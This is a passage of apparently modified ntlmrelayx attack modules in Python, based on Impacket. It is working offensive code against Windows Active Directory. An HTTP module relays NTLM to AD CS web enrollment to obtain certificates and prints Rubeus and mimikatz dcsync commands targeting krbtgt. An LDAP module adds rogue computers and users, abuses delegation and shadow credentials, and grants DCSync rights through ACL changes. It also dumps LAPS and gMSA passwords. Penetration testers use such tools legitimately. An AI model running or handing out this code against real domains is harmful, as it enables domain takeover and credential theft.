HTTPAttack(ProtocolAttack): 31 | """ 32 | This is the default HTTP attack. This attack only dumps the root page, though 33 | you can add any complex attack below. self.client is an instance of urrlib.session 34 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply 35 | proxy through ntlmrelayx 36 | """ 37 | PLUGIN_NAMES = ["HTTP", "HTTPS"] 38 | def run(self): 39 | #Default action: Dump requested page to file, named username-targetname.html 40 | 41 | if self.config.isADCSAttack: 42 | self.adcs_relay_attack() 43 | return 44 | 45 | def adcs_relay_attack(self): 46 | key = crypto.PKey() 47 | key.generate_key(crypto.TYPE_RSA, 4096) 48 | 49 | csr = self.generate_csr(key, self.username) 50 | csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+") 51 | logging.info("CSR generated!") 52 | data = "Mode=newreq&CertRequest=%s&CertAttrib=CertificateTemplate:%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=" % (csr, self.config.template) 53 | 54 | headers = { 55 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", 56 | "Content-Type": "application/x-www-form-urlencoded", 57 | "Content-Length": len(data) 58 | } 59 | 60 | logging.info("Getting certificate...") 61 | 62 | self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers) 63 | response = self.client.getresponse() 64 | 65 | if response.status != 200: 66 | logging.info("Error getting certificate! Make sure you have entered valid certiface template.") 67 | return 68 | 69 | content = response.read() 70 | found = re.findall(r'location="certnew.cer\?ReqID=(.*?)&', content.decode()) 71 | if len(found) == 0: 72 | logging.error("Error obtaining certificate!") 73 | return 74 | 75 | certificate_id = found[0] 76 | 77 | self.client.request("GET", "/certsrv/certnew.cer?ReqID=" + certificate_id) 78 | response = self.client.getresponse() 79 | 80 | logging.info("GOT CERTIFICATE!") 81 | certificate = response.read().decode() 82 | 83 | certificate_store = self.generate_pfx(key, certificate) 84 | no_do = self.username.replace("$","") 85 | b64pfx = base64.b64encode(certificate_store).decode() 86 | pfx_pass = config.get_pass() 87 | append = "\nTips:\n If the target is DC, pls set --template=DomainController.\n Using DC cert, you can get other users hash with dcsync.\n\n Example: mimikatz.exe \"lsadump::dcsync /domain:cgdoamin.com /user:krbtgt\" exit" 88 | Rubeus_usage ="""Exploit successful! \n 89 | ------------------------------------------------------------------------------------------------------- 90 | ReqTGT: 91 | Rubeus.exe asktgt /user:{} /certificate:{} /outfile:{}.tgt /password:{} /enctype:aes256 /opsec 92 | 93 | ReqTGS: 94 | Rubeus.exe asktgs /user:{} /ticket:{}.tgt /service:SPN1,SPN2,... /outfile:{}.tgs /enctype:aes256 /opsec 95 | 96 | Change to ccache: 97 | ticketConverter.py {}.tgs test.ccache 98 | {} 99 | ------------------------------------------------------------------------------------------------------- 100 | """.format(self.username, b64pfx, no_do, pfx_pass, self.username, no_do, no_do, no_do, append) 101 | #logging.critical("Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode())) 102 | logging.critical(Rubeus_usage) 103 | config.set_pfx(b64pfx) 104 | config.set_pki(True) 105 | config.set_targetName(no_do) 106 | 107 | def generate_csr(self, key, CN): 108 | logging.info("Generating CSR...") 109 | req = crypto.X509Req() 110 | req.get_subject().CN = CN 111 | req.set_pubkey(key) 112 | req.sign(key, "sha256") 113 | 114 | return crypto.dump_certificate_request(crypto.FILETYPE_PEM, req) 115 | 116 | def generate_pfx(self, key, certificate): 117 | certificate = crypto.load_certificate(crypto.FILETYPE_PEM, certificate) 118 | p12 = crypto.PKCS12() 119 | p12.set_certificate(certificate) 120 | p12.set_privatekey(key) 121 | pfx_pass = config.get_pass() 122 | return p12.export(pfx_pass) -------------------------------------------------------------------------------- /comm/ntlmrelayx/attacks/ldapattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # LDAP Attack Class 11 | # LDAP(s) protocol relay attack 12 | # 13 | # Authors: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | import _thread 18 | import random 19 | import string 20 | import json 21 | import datetime 22 | import binascii 23 | import codecs 24 | import re 25 | import ldap3 26 | import ldapdomaindump 27 | import config 28 | from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM 29 | from ldap3.utils.conv import escape_filter_chars 30 | import os 31 | from Cryptodome.Hash import MD4 32 | 33 | from impacket import LOG 34 | from impacket.examples.ldap_shell import LdapShell 35 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 36 | from comm.ntlmrelayx.attacks.shadowCredential import ShadowCredentials 37 | from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell 38 | from impacket.ldap import ldaptypes 39 | from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP 40 | from impacket.uuid import string_to_bin, bin_to_string 41 | from impacket.structure import Structure, hexdump 42 | 43 | # This is new from ldap3 v2.5 44 | try: 45 | from ldap3.protocol.microsoft import security_descriptor_control 46 | except ImportError: 47 | # We use a print statement because the logger is not initialized yet here 48 | print("Failed to import required functions from ldap3. ntlmrelayx requires ldap3 >= 2.5.0. \ 49 | Please update with 'python -m pip install ldap3 --upgrade'") 50 | PROTOCOL_ATTACK_CLASS = "LDAPAttack" 51 | 52 | # Define global variables to prevent dumping the domain twice 53 | # and to prevent privilege escalating more than once 54 | dumpedDomain = False 55 | alreadyEscalated = False 56 | alreadyAddedComputer = False 57 | delegatePerformed = [] 58 | 59 | #gMSA structure 60 | class MSDS_MANAGEDPASSWORD_BLOB(Structure): 61 | structure = ( 62 | ('Version','^') for _ in range(15)) 133 | 134 | # Get the domain we are in 135 | domaindn = domainDumper.root 136 | domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] 137 | 138 | computerName = self.computerName 139 | if not computerName: 140 | # Random computername 141 | newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper() 142 | else: 143 | newComputer = computerName if computerName.endswith('$') else computerName + '$' 144 | 145 | computerHostname = newComputer[:-1] 146 | newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8') 147 | 148 | # Default computer SPNs 149 | spns = [ 150 | 'HOST/%s' % computerHostname, 151 | 'HOST/%s.%s' % (computerHostname, domain), 152 | 'RestrictedKrbHost/%s' % computerHostname, 153 | 'RestrictedKrbHost/%s.%s' % (computerHostname, domain), 154 | ] 155 | ucd = { 156 | 'dnsHostName': '%s.%s' % (computerHostname, domain), 157 | 'userAccountControl': 4096, 158 | 'servicePrincipalName': spns, 159 | 'sAMAccountName': newComputer, 160 | 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') 161 | } 162 | LOG.debug('New computer info %s', ucd) 163 | LOG.info('Attempting to create computer in: %s', parent) 164 | res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd) 165 | if not res: 166 | # Adding computers requires LDAPS 167 | if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: 168 | LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.') 169 | else: 170 | LOG.error('Failed to add a new computer: %s' % str(self.client.result)) 171 | return False 172 | else: 173 | LOG.critical('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword)) 174 | config.set_newPassword(newPassword) 175 | config.set_newUser(newComputer) 176 | alreadyAddedComputer = True 177 | # Return the SAM name 178 | return newComputer 179 | 180 | def addUser(self, parent, domainDumper): 181 | """ 182 | Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can 183 | also be an OU or other container where we have write privileges 184 | """ 185 | global alreadyEscalated 186 | if alreadyEscalated: 187 | LOG.error('New user already added. Refusing to add another') 188 | return 189 | 190 | # Random password 191 | newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) 192 | 193 | # Random username 194 | newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10)) 195 | newUserDn = 'CN=%s,%s' % (newUser, parent) 196 | ucd = { 197 | 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root, 198 | 'distinguishedName': newUserDn, 199 | 'cn': newUser, 200 | 'sn': newUser, 201 | 'givenName': newUser, 202 | 'displayName': newUser, 203 | 'name': newUser, 204 | 'userAccountControl': 512, 205 | 'accountExpires': '0', 206 | 'sAMAccountName': newUser, 207 | 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') 208 | } 209 | LOG.info('Attempting to create user in: %s', parent) 210 | res = self.client.add(newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd) 211 | if not res: 212 | # Adding users requires LDAPS 213 | if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: 214 | LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.') 215 | else: 216 | LOG.error('Failed to add a new user: %s' % str(self.client.result)) 217 | return False 218 | else: 219 | LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword)) 220 | 221 | # Return the DN 222 | return newUserDn 223 | 224 | def addUserToGroup(self, userDn, domainDumper, groupDn): 225 | global alreadyEscalated 226 | # For display only 227 | groupName = groupDn.split(',')[0][3:] 228 | userName = userDn.split(',')[0][3:] 229 | # Now add the user as a member to this group 230 | res = self.client.modify(groupDn, { 231 | 'member': [(ldap3.MODIFY_ADD, [userDn])]}) 232 | if res: 233 | LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName)) 234 | LOG.info('Privilege escalation succesful, shutting down...') 235 | alreadyEscalated = True 236 | _thread.interrupt_main() 237 | else: 238 | LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result))) 239 | 240 | def shadowCredentialAttack(self, domainDumper, ldap_session, target): 241 | shadowcreds = ShadowCredentials(domainDumper, ldap_session, target) 242 | pfx_pass = config.get_pass() 243 | shadowcreds.add(export_type="PFX", domain=self.userDomain, password=pfx_pass, path=target.replace("$",""), dc_ip=self.kdc) 244 | config.set_targetName(target) 245 | config.set_priv(True) 246 | 247 | def delegateAttack(self, usersam, targetsam, domainDumper, sid): 248 | global delegatePerformed 249 | if targetsam in delegatePerformed: 250 | LOG.info('Delegate attack already performed for this computer, skipping') 251 | return 252 | if not usersam or "$" not in self.config.escalateuser: 253 | usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) 254 | self.config.escalateuser = usersam 255 | 256 | if not sid: 257 | # Get escalate user sid 258 | result = self.getUserInfo(domainDumper, usersam) 259 | if not result: 260 | LOG.error('User to escalate does not exist!') 261 | return 262 | escalate_sid = str(result[1]) 263 | else: 264 | escalate_sid = usersam 265 | 266 | # Get target computer DN 267 | result = self.getUserInfo(domainDumper, targetsam) 268 | if not result: 269 | LOG.error('Computer to modify does not exist! (wrong domain?)') 270 | return 271 | target_dn = result[0] 272 | 273 | self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) 274 | targetuser = None 275 | for entry in self.client.response: 276 | if entry['type'] != 'searchResEntry': 277 | continue 278 | targetuser = entry 279 | if not targetuser: 280 | LOG.error('Could not query target user properties') 281 | return 282 | try: 283 | sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) 284 | LOG.debug('Currently allowed sids:') 285 | for ace in sd['Dacl'].aces: 286 | LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) 287 | except IndexError: 288 | # Create DACL manually 289 | sd = create_empty_sd() 290 | sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) 291 | self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) 292 | if self.client.result['result'] == 0: 293 | LOG.critical('Delegation rights modified succesfully!') 294 | LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam) 295 | config.set_targetName(targetsam) 296 | config.set_priv(True) 297 | delegatePerformed.append(targetsam) 298 | return True 299 | else: 300 | if self.client.result['result'] == 50: 301 | LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) 302 | elif self.client.result['result'] == 19: 303 | LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) 304 | else: 305 | LOG.error('The server returned an error: %s', self.client.result['message']) 306 | return 307 | 308 | def aclAttack(self, userDn, domainDumper): 309 | global alreadyEscalated 310 | if alreadyEscalated: 311 | LOG.error('ACL attack already performed. Refusing to continue') 312 | return 313 | 314 | # Dictionary for restore data 315 | restoredata = {} 316 | 317 | # Query for the sid of our user 318 | self.client.search(userDn, '(objectClass=user)', attributes=['sAMAccountName', 'objectSid']) 319 | entry = self.client.entries[0] 320 | username = entry['sAMAccountName'].value 321 | usersid = entry['objectSid'].value 322 | LOG.debug('Found sid for user %s: %s' % (username, usersid)) 323 | 324 | # Set SD flags to only query for DACL 325 | controls = security_descriptor_control(sdflags=0x04) 326 | alreadyEscalated = True 327 | 328 | LOG.info('Querying domain security descriptor') 329 | self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) 330 | entry = self.client.entries[0] 331 | secDescData = entry['nTSecurityDescriptor'].raw_values[0] 332 | secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) 333 | 334 | # Save old SD for restore purposes 335 | restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') 336 | restoredata['target_sid'] = usersid 337 | 338 | secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) 339 | secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) 340 | dn = entry.entry_dn 341 | data = secDesc.getData() 342 | self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) 343 | if self.client.result['result'] == 0: 344 | alreadyEscalated = True 345 | LOG.critical( 346 | 'Success! User %s now has Replication-Get-Changes-All privileges on the domain', username) 347 | LOG.info('Try using DCSync with secretsdump.py and this user :)') 348 | config.set_priv(True) 349 | config.set_dcsync(True) 350 | 351 | # Query the SD again to see what AD made of it 352 | self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) 353 | entry = self.client.entries[0] 354 | newSD = entry['nTSecurityDescriptor'].raw_values[0] 355 | # Save this to restore the SD later on 356 | restoredata['target_dn'] = dn 357 | restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') 358 | restoredata['success'] = True 359 | self.writeRestoreData(restoredata, dn) 360 | return True 361 | else: 362 | LOG.error('Error when updating ACL: %s' % self.client.result) 363 | return False 364 | 365 | def writeRestoreData(self, restoredata, domaindn): 366 | output = {} 367 | domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] 368 | output['config'] = {'server':self.client.server.host,'domain':domain} 369 | output['history'] = [{'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username}] 370 | now = datetime.datetime.now() 371 | filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S") 372 | # Save the json to file 373 | with codecs.open(filename, 'w', 'utf-8') as outfile: 374 | json.dump(output, outfile) 375 | LOG.critical('Saved restore state to %s', filename) 376 | 377 | def validatePrivileges(self, uname, domainDumper): 378 | # Find the user's DN 379 | membersids = [] 380 | sidmapping = {} 381 | privs = { 382 | 'create': False, # Whether we can create users 383 | 'createIn': None, # Where we can create users 384 | 'escalateViaGroup': False, # Whether we can escalate via a group 385 | 'escalateGroup': None, # The group we can escalate via 386 | 'aclEscalate': False, # Whether we can escalate via ACL on the domain object 387 | 'aclEscalateIn': None # The object which ACL we can edit 388 | } 389 | self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId']) 390 | user = self.client.entries[0] 391 | usersid = user['objectSid'].value 392 | sidmapping[usersid] = user.entry_dn 393 | membersids.append(usersid) 394 | # The groups the user is a member of 395 | self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid']) 396 | LOG.debug('User is a member of: %s' % self.client.entries) 397 | for entry in self.client.entries: 398 | sidmapping[entry['objectSid'].value] = entry.entry_dn 399 | membersids.append(entry['objectSid'].value) 400 | # Also search by primarygroupid 401 | # First get domain SID 402 | self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid']) 403 | domainsid = self.client.entries[0]['objectSid'].value 404 | gid = user['primaryGroupId'].value 405 | # Now search for this group by SID 406 | self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName']) 407 | group = self.client.entries[0] 408 | LOG.debug('User is a member of: %s' % self.client.entries) 409 | # Add the group sid of the primary group to the list 410 | sidmapping[group['objectSid'].value] = group.entry_dn 411 | membersids.append(group['objectSid'].value) 412 | controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl 413 | # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs 414 | entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) 415 | self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) 416 | # Also get the privileges on the default Users container 417 | entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) 418 | self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) 419 | 420 | # Interesting groups we'd like to be a member of, in order of preference 421 | interestingGroups = [ 422 | '%s-%d' % (domainsid, 519), # Enterprise admins 423 | '%s-%d' % (domainsid, 512), # Domain admins 424 | 'S-1-5-32-544', # Built-in Administrators 425 | 'S-1-5-32-551', # Backup operators 426 | 'S-1-5-32-548', # Account operators 427 | ] 428 | privs['escalateViaGroup'] = False 429 | for group in interestingGroups: 430 | self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls) 431 | groupdata = self.client.response 432 | self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper) 433 | if privs['escalateViaGroup']: 434 | # We have a result - exit the loop 435 | break 436 | return (usersid, privs) 437 | 438 | def getUserInfo(self, domainDumper, samname): 439 | entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) 440 | try: 441 | dn = self.client.entries[0].entry_dn 442 | sid = self.client.entries[0]['objectSid'] 443 | return (dn, sid) 444 | except IndexError: 445 | LOG.error('User not found in LDAP: %s' % samname) 446 | return False 447 | 448 | def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper): 449 | standardrights = [ 450 | self.GENERIC_ALL, 451 | self.GENERIC_WRITE, 452 | self.GENERIC_READ, 453 | ACCESS_MASK.WRITE_DACL 454 | ] 455 | for entry in entries: 456 | if entry['type'] != 'searchResEntry': 457 | continue 458 | dn = entry['dn'] 459 | try: 460 | sdData = entry['raw_attributes']['nTSecurityDescriptor'][0] 461 | except IndexError: 462 | # We don't have the privileges to read this security descriptor 463 | LOG.debug('Access to security descriptor was denied for DN %s', dn) 464 | continue 465 | hasFullControl = False 466 | secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR() 467 | secDesc.fromString(sdData) 468 | if secDesc['OwnerSid'] != '' and secDesc['OwnerSid'].formatCanonical() in membersids: 469 | sid = secDesc['OwnerSid'].formatCanonical() 470 | LOG.debug('Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid])) 471 | hasFullControl = True 472 | # Iterate over all the ACEs 473 | for ace in secDesc['Dacl'].aces: 474 | sid = ace['Ace']['Sid'].formatCanonical() 475 | if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE: 476 | continue 477 | if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(ACE.INHERIT_ONLY_ACE): 478 | # ACE is set on this object, but only inherited, so not applicable to us 479 | continue 480 | 481 | # Check if the ACE has restrictions on object type (inherited case) 482 | if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \ 483 | and ace.hasFlag(ACE.INHERITED_ACE) \ 484 | and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT): 485 | # Verify if the ACE applies to this object type 486 | inheritedObjectType = bin_to_string(ace['Ace']['InheritedObjectType']).lower() 487 | if not self.aceApplies(inheritedObjectType, entry['raw_attributes']['objectClass'][-1]): 488 | continue 489 | # Check for non-extended rights that may not apply to us 490 | if ace['Ace']['Mask']['Mask'] in standardrights or ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL): 491 | # Check if this applies to our objecttype 492 | if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT): 493 | objectType = bin_to_string(ace['Ace']['ObjectType']).lower() 494 | if not self.aceApplies(objectType, entry['raw_attributes']['objectClass'][-1]): 495 | # LOG.debug('ACE does not apply, only to %s', objectType) 496 | continue 497 | if sid in membersids: 498 | # Generic all 499 | if ace['Ace']['Mask'].hasPriv(self.GENERIC_ALL): 500 | ace.dump() 501 | LOG.debug('Permission found: Full Control on %s; Reason: GENERIC_ALL via %s' % (dn, sidmapping[sid])) 502 | hasFullControl = True 503 | if can_create_users(ace) or hasFullControl: 504 | if not hasFullControl: 505 | LOG.debug('Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid])) 506 | if dn == 'CN=Users,%s' % domainDumper.root: 507 | # We can create users in the default container, this is preferred 508 | privs['create'] = True 509 | privs['createIn'] = dn 510 | else: 511 | # Could be a different OU where we have access 512 | # store it until we find a better place 513 | if privs['createIn'] != 'CN=Users,%s' % domainDumper.root and b'organizationalUnit' in entry['raw_attributes']['objectClass']: 514 | privs['create'] = True 515 | privs['createIn'] = dn 516 | if can_add_member(ace) or hasFullControl: 517 | if b'group' in entry['raw_attributes']['objectClass']: 518 | # We can add members to a group 519 | if not hasFullControl: 520 | LOG.debug('Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid])) 521 | privs['escalateViaGroup'] = True 522 | privs['escalateGroup'] = dn 523 | if ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL) or hasFullControl: 524 | # Check if the ACE is an OBJECT ACE, if so the WRITE_DACL is applied to 525 | # a property, which is both weird and useless, so we skip it 526 | if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \ 527 | and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT): 528 | # LOG.debug('Skipping WRITE_DACL since it has an ObjectType set') 529 | continue 530 | if not hasFullControl: 531 | LOG.debug('Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid])) 532 | # We can modify the domain Dacl 533 | if b'domain' in entry['raw_attributes']['objectClass']: 534 | privs['aclEscalate'] = True 535 | privs['aclEscalateIn'] = dn 536 | 537 | @staticmethod 538 | def aceApplies(ace_guid, object_class): 539 | ''' 540 | Checks if an ACE applies to this object (based on object classes). 541 | Note that this function assumes you already verified that InheritedObjectType is set (via the flag). 542 | If this is not set, the ACE applies to all object types. 543 | ''' 544 | try: 545 | our_ace_guid = OBJECTTYPE_GUID_MAP[object_class] 546 | except KeyError: 547 | return False 548 | if ace_guid == our_ace_guid: 549 | return True 550 | # If none of these match, the ACE does not apply to this object 551 | return False 552 | 553 | 554 | def run(self): 555 | #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') 556 | #print self.client.entries 557 | global dumpedDomain 558 | # Set up a default config 559 | domainDumpConfig = ldapdomaindump.domainDumpConfig() 560 | 561 | # Change the output directory to configured rootdir 562 | domainDumpConfig.basepath = self.config.lootdir 563 | 564 | # Create new dumper object 565 | domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) 566 | 567 | if self.config.interactive: 568 | if self.tcp_shell is not None: 569 | LOG.info('Started interactive Ldap shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port) 570 | # Start listening and launch interactive shell. 571 | self.tcp_shell.listen() 572 | ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client) 573 | ldap_shell.cmdloop() 574 | return 575 | 576 | # If specified validate the user's privileges. This might take a while on large domains but will 577 | # identify the proper containers for escalating via the different techniques. 578 | if self.config.validateprivs: 579 | LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains') 580 | userSid, privs = self.validatePrivileges(self.username, domainDumper) 581 | if privs['create']: 582 | LOG.info('User privileges found: Create user') 583 | if privs['escalateViaGroup']: 584 | name = privs['escalateGroup'].split(',')[0][3:] 585 | LOG.info('User privileges found: Adding user to a privileged group (%s)' % name) 586 | if privs['aclEscalate']: 587 | LOG.info('User privileges found: Modifying domain ACL') 588 | 589 | # If validation of privileges is not desired, we assumed that the user has permissions to escalate 590 | # an existing user via ACL attacks. 591 | else: 592 | LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack') 593 | privs = dict() 594 | privs['create'] = False 595 | privs['aclEscalate'] = True 596 | privs['escalateViaGroup'] = False 597 | 598 | # We prefer ACL escalation since it is more quiet 599 | if self.config.aclattack and privs['aclEscalate']: 600 | LOG.debug('Performing ACL attack') 601 | if self.config.escalateuser: 602 | # We can escalate an existing user 603 | result = self.getUserInfo(domainDumper, self.config.escalateuser) 604 | # Unless that account does not exist of course 605 | if not result: 606 | LOG.error('Unable to escalate without a valid user.') 607 | else: 608 | userDn, userSid = result 609 | # Perform the ACL attack 610 | self.aclAttack(userDn, domainDumper) 611 | elif privs['create']: 612 | # Create a nice shiny new user for the escalation 613 | userDn = self.addUser(privs['createIn'], domainDumper) 614 | if not userDn: 615 | LOG.error('Unable to escalate without a valid user.') 616 | # Perform the ACL attack 617 | else: 618 | self.aclAttack(userDn, domainDumper) 619 | else: 620 | LOG.error('Cannot perform ACL escalation because we do not have create user '\ 621 | 'privileges. Specify a user to assign privileges to with --escalate-user') 622 | 623 | # If we can't ACL escalate, try adding us to a privileged group 624 | if self.config.addda and privs['escalateViaGroup']: 625 | LOG.debug('Performing Group attack') 626 | if self.config.escalateuser: 627 | # We can escalate an existing user 628 | result = self.getUserInfo(domainDumper, self.config.escalateuser) 629 | # Unless that account does not exist of course 630 | if not result: 631 | LOG.error('Unable to escalate without a valid user.') 632 | # Perform the Group attack 633 | else: 634 | userDn, userSid = result 635 | self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) 636 | 637 | elif privs['create']: 638 | # Create a nice shiny new user for the escalation 639 | userDn = self.addUser(privs['createIn'], domainDumper) 640 | if not userDn: 641 | LOG.error('Unable to escalate without a valid user, aborting.') 642 | # Perform the Group attack 643 | else: 644 | self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) 645 | 646 | else: 647 | LOG.error('Cannot perform ACL escalation because we do not have create user '\ 648 | 'privileges. Specify a user to assign privileges to with --escalate-user') 649 | 650 | # Dump LAPS Passwords 651 | if self.config.dumplaps: 652 | LOG.info("Attempting to dump LAPS passwords") 653 | 654 | success = self.client.search(domainDumper.root, '(&(objectCategory=computer))', search_scope=ldap3.SUBTREE, attributes=['DistinguishedName','ms-MCS-AdmPwd']) 655 | 656 | if success: 657 | 658 | fd = None 659 | filename = "laps-dump-" + self.username + "-" + str(random.randint(0, 99999)) 660 | count = 0 661 | 662 | for entry in self.client.response: 663 | try: 664 | dn = "DN:" + entry['attributes']['distinguishedname'] 665 | passwd = "Password:" + entry['attributes']['ms-MCS-AdmPwd'] 666 | 667 | if fd is None: 668 | fd = open(filename, "a+") 669 | 670 | count += 1 671 | 672 | LOG.debug(dn) 673 | LOG.debug(passwd) 674 | 675 | fd.write(dn) 676 | fd.write("\n") 677 | fd.write(passwd) 678 | fd.write("\n") 679 | 680 | except: 681 | continue 682 | 683 | if fd is None: 684 | LOG.info("The relayed user %s does not have permissions to read any LAPS passwords" % self.username) 685 | else: 686 | LOG.info("Successfully dumped %d LAPS passwords through relayed account %s" % (count, self.username)) 687 | fd.close() 688 | 689 | #Dump gMSA Passwords 690 | if self.config.dumpgmsa: 691 | LOG.info("Attempting to dump gMSA passwords") 692 | success = self.client.search(domainDumper.root, '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=ldap3.SUBTREE, attributes=['sAMAccountName','msDS-ManagedPassword']) 693 | if success: 694 | fd = None 695 | filename = "gmsa-dump-" + self.username + "-" + str(random.randint(0, 99999)) 696 | count = 0 697 | for entry in self.client.response: 698 | try: 699 | sam = entry['attributes']['sAMAccountName'] 700 | data = entry['attributes']['msDS-ManagedPassword'] 701 | blob = MSDS_MANAGEDPASSWORD_BLOB() 702 | blob.fromString(data) 703 | hash = MD4.new () 704 | hash.update (blob['CurrentPassword'][:-2]) 